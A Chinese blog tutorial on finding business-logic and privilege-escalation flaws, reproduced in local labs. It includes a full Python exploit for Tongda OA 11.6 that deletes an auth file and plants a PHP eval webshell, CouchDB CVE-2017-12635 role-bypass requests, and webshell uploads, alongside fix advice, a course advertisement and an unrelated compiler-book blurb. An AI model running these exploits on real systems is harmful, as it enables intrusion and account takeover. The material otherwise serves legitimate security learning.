Src挖掘技巧分享 谈谈业务逻辑漏洞,从零基础到精通,收藏这篇就够了!

业务逻辑漏洞简介

业务逻辑漏洞,是由于程序逻辑不严谨或逻辑太过复杂,导致一些逻辑分支不能正常处理或处理错误,这样的漏洞统称为业务逻辑漏洞。

简单理解:就是编程人员的思维逻辑不够严谨导致攻击者有机可乘的漏洞

逻辑漏洞还是一种虽然没有在owasp top10 中提及到,但是往往会存在的漏洞。好像一名隐士,大隐隐于市,然而造成的破坏可能一点不比sql注入,xss等漏洞小。如下是逻辑漏洞的top10挖掘方向:

根据漏洞出现位置来总结

逻辑漏洞大概出现在如下几处。下面我们根据出现位置来一处一处进行总结

登陆部分存在的逻辑漏洞

暴力破解用户名或密码

暴力破解用户名密码的情况,一般出现在登陆部分没有验证码机制,没有根据用户名限制失败次数,没有根据ip限制失败次数等情况下。

通常思路:

  1. 直接拿密码字典爆破某一个用户名

  2. 拿固定的弱口令密码,去跑top xxx的用户名

  3. 如果只是用户名限制失败次数,可以使用思路2的方法

  4. 在存在返回提示用户名错误或者密码错误的情况下,可以分别爆用户名和密码

常见限制:有时候会发现用户名或者密码是密文加密,这时可能是通过前端或者其他方式加密,对于简单的来说base64编码和md5的签名是很好识破的,在爆破的时候可以选择encode和hash

利用cookie&session

cookie伪造

Cookie伪造:通过修改 Cookie 中的某个参数来实现登录其他用户

测试方法:

1.使用一个账号登录,找一个可以证明身份的页面,例如首页的欢迎 xxx 或者是个人中心显示昵称的地方

2.刷新该页面拦截请求,观察 Cookie 中的字段和值,例如 userid=xxx,修改Cookie中的值,把 xxx 改成 admin

3.forword 放行,页面显示 admin 的信息,则存在此问题。

• 修复方法:对于客户端标识的用户信息,使用 Session 会话认证方式,避免通过 Cookie 去仿冒其他人的身份。

Session会话固定攻击

Session会话固定攻击:一种诱骗受害者使用攻击者指定的会话标识(Session id)的攻击手段,利用了服务器的session 不变的机制

攻击步骤:

1.攻击者通过某种手段重置目标用户的 Session id,然后监听用户会话状态

  1. 目标用户携带攻击者设定的Session id 登录站点

  2. 攻击者通过 Session id 获得合法会话

• 攻击者重置 Session id 的方法:通过xss,嗅探等方法取得用户的session,修改数据包。

• 修复方法:每次登陆成功之后重新生成session,sessionID闲置过久时,进行重置sessionID

案例-益云公益广告越权修改漏洞

用户A创建一个广告,记住id为420

用户B也创建个广告,进入修改页面,截断修改请求,并将id改为420

支付处存在的逻辑漏洞

支付处存在的逻辑漏洞很多,但是一言以蔽之:数据篡改。

下面我们先来看一个支付处逻辑漏洞的复现。

Tiny_shop CMS 逻辑漏洞复现
环境搭建

LAMP环境的安装直接省略掉了,phpstudy一把梭非常的舒适。将源码copy到phpstudy的WWW文件夹中,启动lamp环境,即可进入安装页面

http://127.0.0.1/TinyShop_v3.0/install/index.php?step=1

ps:环境搭建成功后,我发现访问index页面显示空白页面。在大佬的提醒下发现是自己php版本不对(7.x)换成php5.x版本再次访问即可

支付逻辑漏洞复现

首先点击最上方的登陆按钮,登陆默认账户 test@test.com 密码 test (自己注册的)

这里我们随便选择了一个商品,选择好产品参数之后,点击购买。

点击购买时,使用bp进行抓包,在数据包中,将表示商品数量的num变量改为负数,然后forward这个数据包。

这样就利用网站漏洞成功薅到了店家羊毛

除了上述修改商品数量的方法,支付处的逻辑漏洞还包含如下几种思路,由于操作比较简单且大同小异,这里为了节省篇幅只放利用思路。

修改商品编号

如果业务是通过商品编号来判断价格的话,可能存在只修改A商品编号为B商品编号,做到以A商品的价格购买B商品

条件竞争

支付处,多线程请求付款确认,结果如果余额为负数,则存在该漏洞

金额修改

金额直接写在了post或者get请求中,对其进行修改达到修改了商品金额的效果

充值中放弃订单未失效

在充值中选取大额充值订单,放弃订单,获得订单号,之后充值小额订单,拿到充值成功的界面,将订单号修改为放弃的大额订单,观察是否成功

业务办理处-越权漏洞

之前跟着ms08067的大佬学习的时候,刚好写过相关笔记,还有幸发在该组织公众号上了,这里扒过来

0x01前言:越权访问漏洞概念简析
”授权“与“验证”

了解越权访问的概念,首先要了解授权和验证的概念:授权是指网站赋予特定人对网站特定资源的读写权限。而验证是网站用于检查操作者是否真的可以对特定资源进行读写

“未授权访问”

未授权访问是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或文本信息。

那么,什么是越权漏洞?

由于没有对用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

越权漏洞的产生原因

开发人员在对数据进行操作时对客户端请求的数据过分相信,遗漏了对于客户端权限的仔细判定。

越权漏洞常见位置
  1. 修改、重置、找回其他账户密码

  2. 查看、修改其他账户未公开的信息,例如个人资料、文件、数据、程序

  3. 账户关联的权限操作

0x02 越权访问漏洞的两大分类

越权漏洞主要分为水平越权和垂直越权两大类。

水平越权:同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。

例如两个不同的公司A和B,通过修改请求,公司A可以任意修改B公司的员工、部门、考勤等信息。

垂直越权:指使用权限低的用户可以访问权限较高的用户

垂直越权危害:

• 向上越权:普通用户可以执行管理员权限,比如发布文章、删除文章等操作。

• 向下越权:一个高级用户可以访问低级用户信息(暴露用户隐

例如同一个公司的职员A和经理B。显然他们在公司后台管理系统中账号的管理权限不同。垂直越权通过修改请求,职员A可以修改不在他管辖范围内的员工、考勤、工资等(自我加薪??)

关于如上介绍的总结话,偷我亲爱的来自MS08067团队的讲师一张图是再好不过了

0x03 越权访问漏洞实战课内复现
水平越权
metinfoV4.0越权漏洞复现

环境准备:

下载metinfoV4.0CMS源码进行网站搭建

  • 下载地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip

  • 其他版本下载地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(将x.x.x改成对应版本即可)

  • 源码:MetInfo4.0.zip

下载后将源码解压至phpstudy的web根目录即可。

解压完毕后利用浏览器访问网站地址进入安装目录创建普通用户进行登录

登陆后进入修改基本信息的页面,随便修改一个密码,点击提交信息的同时上传

抓包修改useid为管理员id

成功修改管理员账号密码为123456,尝试登陆

成功登陆,在界面风格->模板管理->添加新模板处发现一处文件上传漏洞。将冰蝎木马压缩成zip文件成功上传

查看一下编辑模板参数,报错是在意料之中的,我们需要的是木马路径

使用冰蝎服务器端连接木马。成功执行

海洋cms v9 越权漏洞

环境准备

https://github.com/seacms/seacms-v9下载seacms9.0版本的源码。还是使用php部署,部署过程非常简单。注意php+mysql的版本一般就是一路绿灯。

复现该漏洞需要注册两个网站账号

1.test@test.com/1234562.ms08067/123456

漏洞复现

分别用chrome 和微软两个浏览器登陆这两个账号

通过抓包,获取ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4

在另一账号test@test.com的修改密码操作上抓包,并将sessid修改为ms08067账号的sessid。尝试更改密码为123456789。放包,显示修改成功。

尝试使用新密码登陆ms08067账户,发现登陆成功。

垂直越权
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

影响版本:小于 1.7.0 以及 小于 2.1.1

环境搭建

使用虚拟机安装docker,vulhub

cd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口

一个小报错处理

p.s:运行命令docker-compose up -d这里出现了一个报错。百度搜了一波,发现这是由于当前用户未加入docker组。解决方案是运行命令

sudo gpasswd -a ${USER} docker

然后退出当前用户比如切换为root,再次切换回原用户。然后执行docker-compose up -d就ok了。

漏洞原理分析

由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性(对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值)

如:Erlang:

jiffy:decode(“{“a”:”1″, “a”:”2″}”).

{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}

JavaScript:

JSON.parse(“{“a”:”1″, “a”: “2”}”)

{a: “2”}

可以被利用于,非管理员用户赋予自身管理员身份权限。

参考文章:https://cloud.tencent.com/developer/article/1144778

漏洞复现

访问服务器ip:5984并抓包将抓到的包发送给重发器(Repeater)并将发送数据改为如下(服务器IP地址为自己搭建的IP):

PUT /\_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": \["\_admin"\],"password": "666666"}

返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}报错原因是只有管理员才能设置Role角色。通过增加一个roles字段数据包的方式绕过限制

PUT /\_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": \["\_admin"\],"roles":\[\],"password": "666666"}

通过新创建的用户qaq/666666成功登录

复现完记得销毁环境哦~目录中执行命令

docker-compose down -v

0x04 越权访问漏洞课外复现:
通达OA11.6版本越权漏洞复现

环境搭建

现在通达官网已经把版本升级到了11.7,所以下载11.6版本需要自己寻找资源

傻瓜式安装,配置界面如下。完成安装之后就可以暂时不用管它了。记得接触80端口占用(一般是要把phpstudy关掉)

安装完之后就可以访问网站首页了。这个漏洞复现手动过程比较容易,执行exp 写马就可以了

exp:

脚本内容如下,核心思路就是删除网站里的一个名为auth.inc.php的文件,进而越权拿shell

import requests#填写iptarget="http://ip/"#一句话木马的密码是qaqpayload="<?php eval($\_POST\['qaq'\]);?>"print("\[\*\]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("\[\*\]Deleting auth.inc.php....")#删除网站里的一个名为auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"  requests.get(url=url)print("\[\*\]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("\[-\]Failed to deleted auth.inc.php")    exit(-1)print("\[+\]Successfully deleted auth.inc.php!")print("\[\*\]Uploading payload...")url=target+"/general/data\_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/\_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("\[+\]Filed Uploaded Successfully")    print("\[+\]URL:",url)else:    print("\[-\]Failed to upload file")

注意,该EXP不是无损EXP,会删除auth.inc.php让OA无法正常工作

蚁剑拿shell

程序执行之后出现了一个URL,为一句话木马所在位置。使用webshell管理工具(如蚁剑链接即可)

dedecms v5.7越权漏洞复现

环境搭建

利用phpstudy搭建,下载源码后copy进根目录安装即可

用户名admin 密码admin进入后台,系统设置->系统基本参数->会员设置 将是否开启会员功能一栏调为是

接着返回网站主页,注册一个账号,记得不要设施安全提示问题

接着回到后台将等待验证邮件修改为:”审核通过,提示填写完整信息”

进入 test123用户的个人中心,打开bp抓包,将DedeUserID_ckMD5覆盖为last_vid_ckMd5。修改完成后释放该包

此时发现test123用户变成了admin

使用F12打开控制台,进入储存,仍然是将DedeUserID_ckMD5覆盖为last_vid_ckMd5。将DedeUserID的值修改为test123.

刷新抓包,发送至repeater

将location后的网址从http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改为http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E

关闭代理访问即可修改管理员账户密码

0x05 后记

越权漏洞的产生归根究底,还是由于网站开发者和管理者授权意识的淡薄,授权的滥用。因此,授权应当遵守如下几条原则:

1.使用最小权限原则对用户进行赋权,对待权限做一只一毛都不多拔的铁公鸡

2.使用合理(严格)的权限校验规则;

3.使用后台登录状态作为条件进行权限判断(别动不动就瞎用前端传进来的条件)

密码找回处存在的逻辑漏洞

方法很多,思路重复,这里挑重要的讲

返回凭证

返回凭证的三种方式:

\1. url返回凭证

\2. 抓包返回凭证

\3. 凭证在页面中

方法:

1\. URL返回凭证   
使用firefox的firebug查看请求链接,看链接中是否有验证码等密码找回凭证   
2\. 抓包直接返回   
根据手机号找回密码后抓包,可以发现验证码直接显示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理)   
3\. 密码找回凭证在页面中   
 通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示

邮箱弱token

1.Unix时间戳 + md5

通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串。字符串解密,类似 1491293277(10位),可以判断为Unix时间戳。  
重置他人密码只需利用他人邮箱发送重置密码邮件,在短时间内对Unix时间戳进行暴力破解,即可获得重置密码的链接

  1. 用户名
 重置密码链接直接使用用户名进行区别,改变用户名即可更改他人密码

  1. 服务器时间
利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差1-2,而且可以猜测   
出为服务器时间。所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历随机 token,就可以构造出未  
知帐号的密码找回链接

生成可控token

举例:

例如当我们通过邮箱找回密码,正常流程下抓包查看提交验证码后返回的数据,有加密字符串,这个加密字符串和后面重新设置新密码URL链接中的加密字符串一样,所以可以利用这个加密字符串实现新密码url中的加密字符串可控。于是根据上面提交验证码的抓包,修改User 为其他用户(User有可能会使用md5加密),发送就可以返回其他用户的加密字符串。接着重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处,直接修改URL链接,加入加密字符串,可 以直接绕过验证码,重置密码。

验证码处存在的逻辑漏洞

暴力破解

要了解常见验证码机制:

  1. 有的验证码输入正确一次,在一定时间内不用再输入。

  2. 有的验证码输入正确一次,会在你session中设定一个值,告诉服务器你已经通过验证码验证了。

  3. 有的验证码因为逻辑问题只是一个摆设,正常的逻辑为先对比验证码是否正确,再检测账号密码是否正确,反过来了就变成了摆设

时间、次数突破:

概念:重复提交携带验证码的数据包,查看返回包,判断次数

测试方法:

填写正确登录信息和验证码 –> 抓取提交数据包 –> 重复提交该数据包 –> 查看是否登录成功 –> 登录成功则存在验证码重复使用问题

回显测试:

概念:验证码直接由客户端生成,在回显中显示,可通过浏览器工具直接查看

测试方法:

\1. 在源码中显示。源代码审计,搜索源码中有无验证码

\2. 在COOKIE中显示。抓包时分析COOKIE中是否含有验证码

绕过验证码:

漏洞成因:

由于逻辑设计缺陷,可绕过验证,比如直接删除COOKIE或验证码参数可绕过、当验证不通过清空session时。验证码参数值为空时绕过等

测试方法:

Step1.输入正确账户信息和错误验证码,登录时抓包

Step2.删除COOKIE

Step3.客户端登陆成功

特殊姿势:篡改手机号

在需要手机号的短信验证处,抓包修改手机号,可能做到非本账号手机号获取能够编辑本账号的验证码

后记

逻辑漏洞看似复杂,乱花渐欲迷人眼。然而其实思路非常单一:先前端后后端顺序枚举各处漏洞点。其实考察的是你的耐心,细心,专心。

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2025最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。


在这里插入图片描述

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。


在这里插入图片描述

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。


在这里插入图片描述

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。


在这里插入图片描述

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题


在这里插入图片描述

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)


在这里插入图片描述

三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。


在这里插入图片描述

四、网络安全护网行动/CTF比赛

学以致用 ,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。


在这里插入图片描述

五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…


在这里插入图片描述


img

**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

《编译原理》是计算机科学中一门极为重要的课程,主要探讨如何将高级程序设计语言转换成机器可执行的指令。清华大学的张素琴教授在这一领域有着深厚的学术造诣,其编译原理课后习题答案对于学习者而言是非常珍贵的资源。这份压缩文件详细解析了课程中所涉及的概念、理论和方法的实践应用,目的是帮助学生更好地理解编译器设计的核心内容。 编译原理的核心知识点主要包括以下几点: 词法分析:作为编译过程的首要环节,词法分析器会扫描源代码,识别出一个个称为“标记”(Token)的最小语法单位。通常借助正则表达式来定义各种标记的模式。 语法分析:基于词法分析产生的标记流,语法分析器依据文法规则构建语法树。上下文无关文法(CFG)是编译器设计中常用的一种形式化工具。 语义分析:这一步骤用于理解程序的意义,确保程序符合语言的语义规则。语义分析可分为静态语义分析和动态语义分析,前者主要检查类型匹配、变量声明等内容,后者则关注运行时的行为。 中间代码生成:编译器通常会生成一种高级的中间表示,如三地址码或抽象语法树,以便于后续的优化和目标代码生成。 代码优化:通过消除冗余计算、改进数据布局等方式提升程序的执行效率,同时不改变程序的语义。 目标代码生成:根据中间代码生成特定机器架构的目标代码,这一阶段需要考虑指令集体系结构、寄存器分配、跳转优化等问题。 链接:将编译后的模块进行合并,解决外部引用,最终形成一个可执行文件。 错误处理:在词法分析、语法分析和语义分析过程中,编译器需要能检测并报告错误,例如语法错误、类型错误等。 张素琴教授的课后习题答案覆盖了上述所有核心知识点,并可能包含实际编程练习,比如实现简单的编译器或解释器,以及针对特定问题的解题策略。通过解答这些习题,学生可以加深对编译原理的理解,提升解决问题的能力,为今后参与编译器开发或软件工程实践奠定坚实的基础。这份资源不仅是学习编译原理的有力辅助材料,也是
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值